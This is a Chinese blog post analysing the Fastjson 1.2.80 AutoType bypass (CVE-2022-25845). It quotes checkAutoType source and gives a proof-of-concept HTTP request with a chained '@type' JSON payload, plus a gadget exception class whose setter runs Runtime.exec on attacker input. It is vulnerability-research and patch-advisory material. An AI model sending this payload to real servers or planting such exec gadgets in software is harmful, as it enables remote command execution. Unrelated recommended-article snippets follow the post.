【漏洞分析】Fastjson1.2.80版本RCE漏洞原理_fastjson1.2.80漏洞-程序员宅基地

技术标签: 漏洞分析  网络安全  

一、漏洞编号

CVE-2022-25845

CNVD-2022-40233

CNNVD-202206-1037

二、Fastjson知多少

万恶之源AutoType

Fastjson的主要功能是将Java Bean序列化为JSON字符串,这样得到的字符串就可以通过数据库等方式进行持久化了。

但是,Fastjson在序列化及反序列化的过程中,没有使用Java自带的序列化机制,而是自定义了一套机制。

对于JSON框架来说,想要把一个Java对象转换成字符串,有两种选择:

1、基于属性

2、基于Setter/Getter

在我们常用的JSON序列化框架中,Fastjson和Jackson将对象序列化成Json字符串时,是通过遍历该类中所有的Getter方法来进行的。而Gson不是这么做的,它是通过反射遍历该类中的所有属性,并把其值序列化为Json 。

假设我们有下面这个Java类:

class Store {

         private String name;

         private Fruit fruit;

         public String getName() {

                   return name;

         }

         public void setName(String name) {

                   this.name = name;

         }

         public Fruit getFruit() {

                   return fruit;

         }

         public void setFruit(Fruit fruit) {

                   this.fruit = fruit;

         }

}

interface Fruit {

}

class Apple implements Fruit {

         private BigDecimal price;

         //省略 setter/getter、toString等

}

当我们对它进行序列化时,Fastjson会扫描其中的Getter方法,即找到getName和getFruit,这时就会将Name和Fruit两个字段的值序列化到JSON字符串中。

那么问题来了,上面定义的Fruit只是一个接口,序列化的时候Fastjson能将属性值正确序列化出来吗?如果可以的话,反序列的时候,Fastjson会把这个Fruit反序列化成什么类型呢?

我们尝试基于Fastjson v1.2.68验证一下:

Store store = new Store();

store.setName("Hollis");

Apple apple = new Apple();

apple.setPrice(new BigDecimal(0.5));

store.setFruit(apple);

String jsonString = JSON.toJSONString(store);

System.out.println("toJSONString : " + jsonString);

以上代码比较简单,我们创建了一个store,为它指定了名称,并创建了Fruit的子类型Apple,然后将store用JSON.toJSONString进行序列化,可以得到以下JSON内容:

toJSONString : {

         "fruit":{

                   "price":0.5

         }

         ,"name":"Hollis"

}

那么,Fruit的类型是什么呢,能否反序列化为Apple呢?我们再来执行以下代码:

Store newStore = JSON.parseObject(jsonString, Store.class);

System.out.println("parseObject : " + newStore);

Apple newApple = (Apple)newStore.getFruit();

System.out.println("getFruit : " + newApple);

执行结果如下:

toJSONString : {

         "fruit":{

                   "price":0.5

         }

         ,"name":"Hollis"

}

parseObject : Store{

         name='Hollis', fruit={}}

         Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple

         at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到,在将store反序列化后,我们尝试将Fruit转换成Apple,但抛出了异常,如果直接转换成Fruit则不会报错,如下:

Fruit newFruit = newStore.getFruit();

System.out.println("getFruit : " + newFruit);

从以上现象中我们得知,当一个类中包含了一个接口(或抽象类)的时候,使用Fastjson进行序列化,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

如何解决这个问题呢?Fastjson引入了AutoType,在序列化时,把原始类型记录下来。使用方法是通过SerializerFeature.WriteClassName进行标记,即将上述代码中的:

String jsonString = JSON.toJSONString(store);

修改为:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

修改后的代码输出结果如下:

System.out.println("toJSONString : " + jsonString);

{

         "@type":"com.hollis.lab.fastjson.test.Store",

             "fruit":{

                   "@type":"com.hollis.lab.fastjson.test.Apple",

                           "price":0.5

         }

         ,

             "name":"Hollis"

}

可以看到,使用SerializerFeature.WriteClassName进行标记后,JSON字符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

如上,将序列化后的字符串再反序列化,就可以顺利拿到Apple类型,整体输出内容如下:

toJSONString : {

         "@type":"com.hollis.lab.fastjson.test.Store","fruit":{

                   "@type":"com.hollis.lab.fastjson.test.Apple","price":0.5

         }

         ,"name":"Hollis"

}

parseObject : Store{

         name='Hollis', fruit=Apple{price=0.5}}

         getFruit : Apple{price=0.5}

这就是Fastjson中引入AutoType的原因,但是也正因为这个特性,因为功能设计之初在安全方面考虑不周,给后续的Fastjson使用者带来了无尽的痛苦。

checkAutoType

Fastjson为了实现反序列化引入了AutoType,造成:

1、Fastjson是基于内置黑名单来实现安全的,打开AutoType后可能造成安全风险,即绕过黑名单。

2、关闭AutoType后,是基于白名单进行防护的,此次解析的漏洞就是在未开启AutoType时产生的。

从v1.2.25版本开始,Fastjson默认关闭了AutoType支持,并且加入了checkAutoType,加入了黑白名单来防御AutoType开启的情况。

Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过,绝大部分情况都是寻找一个新的利用链来绕过黑名单,所以Fastjson官方的黑名单列表越来越大;但是更有意义的绕过显然是AutoType机制绕过,这样无需手动配置autoTypeSupport也可能进行利用。

我们先来看一下通过checkAutoType()校验的方式有哪些:

1、白名单里的类

2、开启了AutoType

3、使用了JSONType注解

4、指定了期望类(expectClass)

5、缓存在mapping中的类

6、使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

三、攻击思路

目标:绕过AutoType机制

手段:通过checkAutoType()校验

方法:寻找使用checkAutoType()的函数,并使之通过checkAutoType()校验

通过研究v1.2.50和v1.2.68的绕过方式,主要是在ObjectDeserializer接口的子类JavaBeanDeserializer中存在expectClass非空的checkAutoType调用,这也是绕过的关键。顺着这个思路,我们继续在ObjectDeserializer接口的其他子类中寻找expectClass非空的checkAutoType调用,发现在子类ThrowableDeserializer的函数deserialze中也存在满足条件的调用。

1.2.80版本的checkAutoType代码如下:

public Class<?> checkAutoType(Class type) {

         if (get(type) != null) {

                   return type;

         }

         return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);

}

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {

         return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);

}

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

         if (typeName == null) {

                   return null;

         }

         if (autoTypeCheckHandlers != null) {

                   for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {

                            Class<?> type = h.handler(typeName, expectClass, features);

                            if (type != null) {

                                     return type;

                            }

                   }

         }

         final int safeModeMask = Feature.SafeMode.mask;

         Boolean safeMode = this.safeMode

                         || (features & safeModeMask) != 0

                         || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;

         if (safeMode) {

                   throw new JSONException("safeMode not support autoType : " + typeName);

         }

         if (typeName.length() >= 192 || typeName.length() < 3) {

                   throw new JSONException("autoType is not support. " + typeName);

         }

         final Boolean expectClassFlag;

         if (expectClass == null) {

                   expectClassFlag = false;

         } else {

                   long expectHash = TypeUtils.fnv1a_64(expectClass.getName());

                   if (expectHash == 0x90a25f5baa21529eL

                                       || expectHash == 0x2d10a5801b9d6136L

                                       || expectHash == 0xaf586a571e302c6bL

                                       || expectHash == 0xed007300a7b227c6L

                                       || expectHash == 0x295c4605fd1eaa95L

                                       || expectHash == 0x47ef269aadc650b4L

                                       || expectHash == 0x6439c4dff712ae8bL

                                       || expectHash == 0xe3dd9875a2dc5283L

                                       || expectHash == 0xe2a8ddba03e69e0dL

                                       || expectHash == 0xd734ceb4c3e9d1daL

                               ) {

                            expectClassFlag = false;

                   } else {

                            expectClassFlag = true;

                   }

         }

         String className = typeName.replace('$', '.');

         Class<?> clazz;

         final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;

         if (h1 == 0xaf64164c86024f1aL) {

                   // [

                   throw new JSONException("autoType is not support. " + typeName);

         }

         if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {

                   throw new JSONException("autoType is not support. " + typeName);

         }

         final long h3 = (((((fnv1a_64_magic_hashcode ^ className.charAt(0))

                         * fnv1a_64_magic_prime)

                         ^ className.charAt(1))

                         * fnv1a_64_magic_prime)

                         ^ className.charAt(2))

                         * fnv1a_64_magic_prime;

         long fullHash = TypeUtils.fnv1a_64(className);

         Boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;

         if (internalDenyHashCodes != null) {

                   long hash = h3;

                   for (int i = 3; i < className.length(); ++i) {

                            hash ^= className.charAt(i);

                            hash *= fnv1a_64_magic_prime;

                            if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {

                                     throw new JSONException("autoType is not support. " + typeName);

                            }

                   }

         }

         if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {

                   long hash = h3;

                   for (int i = 3; i < className.length(); ++i) {

                            hash ^= className.charAt(i);

                            hash *= fnv1a_64_magic_prime;

                            if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {

                                     clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                                     if (clazz != null) {

                                               return clazz;

                                     }

                            }

                            if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

                                     if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {

                                               continue;

                                     }

                                     throw new JSONException("autoType is not support. " + typeName);

                            }

                   }

         }

         clazz = TypeUtils.getClassFromMapping(typeName);

         if (clazz == null) {

                   clazz = deserializers.findClass(typeName);

         }

         if (clazz == null) {

                   clazz = typeMapping.get(typeName);

         }

         if (internalWhite) {

                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

         }

         if (clazz != null) {

                   if (expectClass != null

                                       && clazz != java.util.HashMap.class

                                       && clazz != java.util.LinkedHashMap.class

                                       && !expectClass.isAssignableFrom(clazz)) {

                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

                   }

                   return clazz;

         }

         if (!autoTypeSupport) {

                   long hash = h3;

                   for (int i = 3; i < className.length(); ++i) {

                            char c = className.charAt(i);

                            hash ^= c;

                            hash *= fnv1a_64_magic_prime;

                            if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {

                                     throw new JSONException("autoType is not support. " + typeName);

                            }

                            // white list

                            if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {

                                     clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                                     if (clazz == null) {

                                               return expectClass;

                                     }

                                     if (expectClass != null && expectClass.isAssignableFrom(clazz)) {

                                               throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

                                     }

                                     return clazz;

                            }

                   }

         }

         Boolean jsonType = false;

         InputStream is = null;

         try {

                   String resource = typeName.replace('.', '/') + ".class";

                   if (defaultClassLoader != null) {

                            is = defaultClassLoader.getResourceAsStream(resource);

                   } else {

                            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

                   }

                   if (is != null) {

                            ClassReader classReader = new ClassReader(is, true);

                            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);

                            classReader.accept(visitor);

                            jsonType = visitor.hasJsonType();

                   }

         }

         catch (Exception e) {

                   // skip

         }

         finally {

                   IOUtils.close(is);

         }

         final int mask = Feature.SupportAutoType.mask;

         Boolean autoTypeSupport = this.autoTypeSupport

                         || (features & mask) != 0

                         || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

         if (autoTypeSupport || jsonType || expectClassFlag) {

                   Boolean cacheClass = autoTypeSupport || jsonType;

                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

         }

         if (clazz != null) {

                   if (jsonType) {

                            TypeUtils.addMapping(typeName, clazz);

                            return clazz;

                   }

                   if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger

                   || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver

                   || javax.sql.RowSet.class.isAssignableFrom(clazz) //

                   ) {

                            throw new JSONException("autoType is not support. " + typeName);

                   }

                   if (expectClass != null) {

                            if (expectClass.isAssignableFrom(clazz)) {

                                     TypeUtils.addMapping(typeName, clazz);

                                     return clazz;

                            } else {

                                     throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());

                            }

                   }

                   JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);

                   if (beanInfo.creatorConstructor != null && autoTypeSupport) {

                            throw new JSONException("autoType is not support. " + typeName);

                   }

         }

         if (!autoTypeSupport) {

                   throw new JSONException("autoType is not support. " + typeName);

         }

         if (clazz != null) {

                   TypeUtils.addMapping(typeName, clazz);

         }

         return clazz;

}

四、POC

按照上面思路构造POC如下:

POST /fastjson HTTP/1.1

Host: 172.31.1.101:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0;

Win64;

x64;

rv:101.0) Gecko/20100101 Firefox/101.0

Accept: text/html,application/xhtml+xml,application/xml;

q=0.9,image/avif,image/webp,*

/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 117

{

 "@type": "java.lang.Exception",

 "@type": "com.example.springfastjson.model.poc20220523",

 "name": "control"

}

代码中需要有如下的类:

package com.example.springfastjson.model;

import java.io.IOException;

public class poc20220523 extends Exception {

         public void setName(String str) {

                   try {

                            Runtime.getRuntime().exec(str);

                   }

                   catch (IOException e) {

                            e.printStackTrace();

                   }

         }

}

五、代码分析

通过一系列的字符检查之后,@type": "java.lang.Exception"步入到checkAutoType 。

 经过checkAutoType函数检查。

 

尝试从缓存mapping中实例化clazz(TypeUtils.addBaseClassMappings已经将java.lang.Exception加入了mapping):

 

往下走getDeserializer返回的ObjectDeserializer为ThrowableDeserializer类型。

 

进入ThrowableDeserializer.deserialze,顺利到达checkAutoType 。

 

参数传到checkAutoType函数,且expectClass不为空,顺利绕过checkAutoType函数。

 

 

 

六、解决方案

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/alibaba/fastjson/wiki/security_update_20220523

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/olga5abl/article/details/127492012

智能推荐

分布式光纤传感器的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告_预计2026年中国分布式传感器市场规模有多大-程序员宅基地

文章浏览阅读3.2k次。本文研究全球与中国市场分布式光纤传感器的发展现状及未来发展趋势,分别从生产和消费的角度分析分布式光纤传感器的主要生产地区、主要消费地区以及主要的生产商。重点分析全球与中国市场的主要厂商产品特点、产品规格、不同规格产品的价格、产量、产值及全球和中国市场主要生产商的市场份额。主要生产商包括:FISO TechnologiesBrugg KabelSensor HighwayOmnisensAFL GlobalQinetiQ GroupLockheed MartinOSENSA Innovati_预计2026年中国分布式传感器市场规模有多大

07_08 常用组合逻辑电路结构——为IC设计的延时估计铺垫_基4布斯算法代码-程序员宅基地

文章浏览阅读1.1k次,点赞2次,收藏12次。常用组合逻辑电路结构——为IC设计的延时估计铺垫学习目的:估计模块间的delay,确保写的代码的timing 综合能给到多少HZ,以满足需求!_基4布斯算法代码

OpenAI Manager助手(基于SpringBoot和Vue)_chatgpt网页版-程序员宅基地

文章浏览阅读3.3k次,点赞3次,收藏5次。OpenAI Manager助手(基于SpringBoot和Vue)_chatgpt网页版

关于美国计算机奥赛USACO,你想知道的都在这_usaco可以多次提交吗-程序员宅基地

文章浏览阅读2.2k次。USACO自1992年举办,到目前为止已经举办了27届,目的是为了帮助美国信息学国家队选拔IOI的队员,目前逐渐发展为全球热门的线上赛事,成为美国大学申请条件下,含金量相当高的官方竞赛。USACO的比赛成绩可以助力计算机专业留学,越来越多的学生进入了康奈尔,麻省理工,普林斯顿,哈佛和耶鲁等大学,这些同学的共同点是他们都参加了美国计算机科学竞赛(USACO),并且取得过非常好的成绩。适合参赛人群USACO适合国内在读学生有意向申请美国大学的或者想锻炼自己编程能力的同学,高三学生也可以参加12月的第_usaco可以多次提交吗

MySQL存储过程和自定义函数_mysql自定义函数和存储过程-程序员宅基地

文章浏览阅读394次。1.1 存储程序1.2 创建存储过程1.3 创建自定义函数1.3.1 示例1.4 自定义函数和存储过程的区别1.5 变量的使用1.6 定义条件和处理程序1.6.1 定义条件1.6.1.1 示例1.6.2 定义处理程序1.6.2.1 示例1.7 光标的使用1.7.1 声明光标1.7.2 打开光标1.7.3 使用光标1.7.4 关闭光标1.8 流程控制的使用1.8.1 IF语句1.8.2 CASE语句1.8.3 LOOP语句1.8.4 LEAVE语句1.8.5 ITERATE语句1.8.6 REPEAT语句。_mysql自定义函数和存储过程

半导体基础知识与PN结_本征半导体电流为0-程序员宅基地

文章浏览阅读188次。半导体二极管——集成电路最小组成单元。_本征半导体电流为0

随便推点

【Unity3d Shader】水面和岩浆效果_unity 岩浆shader-程序员宅基地

文章浏览阅读2.8k次,点赞3次,收藏18次。游戏水面特效实现方式太多。咱们这边介绍的是一最简单的UV动画(无顶点位移),整个mesh由4个顶点构成。实现了水面效果(左图),不动代码稍微修改下参数和贴图可以实现岩浆效果(右图)。有要思路是1,uv按时间去做正弦波移动2,在1的基础上加个凹凸图混合uv3,在1、2的基础上加个水流方向4,加上对雾效的支持,如没必要请自行删除雾效代码(把包含fog的几行代码删除)S..._unity 岩浆shader

广义线性模型——Logistic回归模型(1)_广义线性回归模型-程序员宅基地

文章浏览阅读5k次。广义线性模型是线性模型的扩展,它通过连接函数建立响应变量的数学期望值与线性组合的预测变量之间的关系。广义线性模型拟合的形式为:其中g(μY)是条件均值的函数(称为连接函数)。另外,你可放松Y为正态分布的假设,改为Y 服从指数分布族中的一种分布即可。设定好连接函数和概率分布后,便可以通过最大似然估计的多次迭代推导出各参数值。在大部分情况下,线性模型就可以通过一系列连续型或类别型预测变量来预测正态分布的响应变量的工作。但是,有时候我们要进行非正态因变量的分析,例如:(1)类别型.._广义线性回归模型

HTML+CSS大作业 环境网页设计与实现(垃圾分类) web前端开发技术 web课程设计 网页规划与设计_垃圾分类网页设计目标怎么写-程序员宅基地

文章浏览阅读69次。环境保护、 保护地球、 校园环保、垃圾分类、绿色家园、等网站的设计与制作。 总结了一些学生网页制作的经验:一般的网页需要融入以下知识点:div+css布局、浮动、定位、高级css、表格、表单及验证、js轮播图、音频 视频 Flash的应用、ul li、下拉导航栏、鼠标划过效果等知识点,网页的风格主题也很全面:如爱好、风景、校园、美食、动漫、游戏、咖啡、音乐、家乡、电影、名人、商城以及个人主页等主题,学生、新手可参考下方页面的布局和设计和HTML源码(有用点赞△) 一套A+的网_垃圾分类网页设计目标怎么写

C# .Net 发布后,把dll全部放在一个文件夹中,让软件目录更整洁_.net dll 全局目录-程序员宅基地

文章浏览阅读614次,点赞7次,收藏11次。之前找到一个修改 exe 中 DLL地址 的方法, 不太好使,虽然能正确启动, 但无法改变 exe 的工作目录,这就影响了.Net 中很多获取 exe 执行目录来拼接的地址 ( 相对路径 ),比如 wwwroot 和 代码中相对目录还有一些复制到目录的普通文件 等等,它们的地址都会指向原来 exe 的目录, 而不是自定义的 “lib” 目录,根本原因就是没有修改 exe 的工作目录这次来搞一个启动程序,把 .net 的所有东西都放在一个文件夹,在文件夹同级的目录制作一个 exe._.net dll 全局目录

BRIEF特征点描述算法_breif description calculation 特征点-程序员宅基地

文章浏览阅读1.5k次。本文为转载,原博客地址:http://blog.csdn.net/hujingshuang/article/details/46910259简介 BRIEF是2010年的一篇名为《BRIEF:Binary Robust Independent Elementary Features》的文章中提出,BRIEF是对已检测到的特征点进行描述,它是一种二进制编码的描述子,摈弃了利用区域灰度..._breif description calculation 特征点

房屋租赁管理系统的设计和实现,SpringBoot计算机毕业设计论文_基于spring boot的房屋租赁系统论文-程序员宅基地

文章浏览阅读4.1k次,点赞21次,收藏79次。本文是《基于SpringBoot的房屋租赁管理系统》的配套原创说明文档,可以给应届毕业生提供格式撰写参考,也可以给开发类似系统的朋友们提供功能业务设计思路。_基于spring boot的房屋租赁系统论文